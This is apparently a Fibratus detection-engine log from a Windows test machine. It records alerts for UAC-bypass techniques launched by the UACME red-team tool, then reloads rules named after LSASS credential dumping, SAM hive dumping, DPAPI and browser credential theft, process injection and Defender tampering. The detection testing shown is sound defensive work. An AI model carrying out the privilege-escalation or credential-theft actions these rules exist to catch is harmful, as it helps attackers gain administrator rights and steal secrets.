WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 3526171 + Pid: 17252 + Tid: 13032 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:23:06.6675399 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2944f1000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5bf430c0, name➜ cmd.exe, pid➜ 16392, ppid➜ 17252, real_ppid➜ 17252, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:23:06.6674759 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 17252 + Ppid: 7340 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T14:33:25+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 4374738 + Pid: 1968 + Tid: 6420 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:33:21.1602719 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 456cb000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cleanmgr.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5ae79080, name➜ cleanmgr.exe, pid➜ 13352, ppid➜ 1968, real_ppid➜ 1968, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:33:21.1602013 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.id: TA0004 + + Pid: 1968 + Ppid: 1000 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-03T14:37:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T14:37:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T14:37:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T14:37:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:37:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-03T14:37:40+01:00 level=info msg=bootstrapping with pid 9440. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T14:37:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-mem=>true enable-audit-api=>true enable-dns=>false enable-handle=>false min-buffers=>16 enable-image=>true enable-thread=>true enable-vamap=>true enable-net=>true flush-interval=>1s buffer-size=>512 stack-enrichment=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 log-stdout=>true level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s gzip-compression=>false index-name=>fibratus timeout=>5s sniff=>false healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false template-name=>fibratus trace-log=>false] amqp=>[ exchange-type=>topic enabled=>false timeout=>5s vhost=>/ delivery-mode=>transient passive=>false url=>amqp://localhost:5672 durable=>false exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false] http=>[ serializer=>json enabled=>false enable-gzip=>false method=>POST timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false skip-mmaps=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-03T14:37:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:37:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:38:09+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL 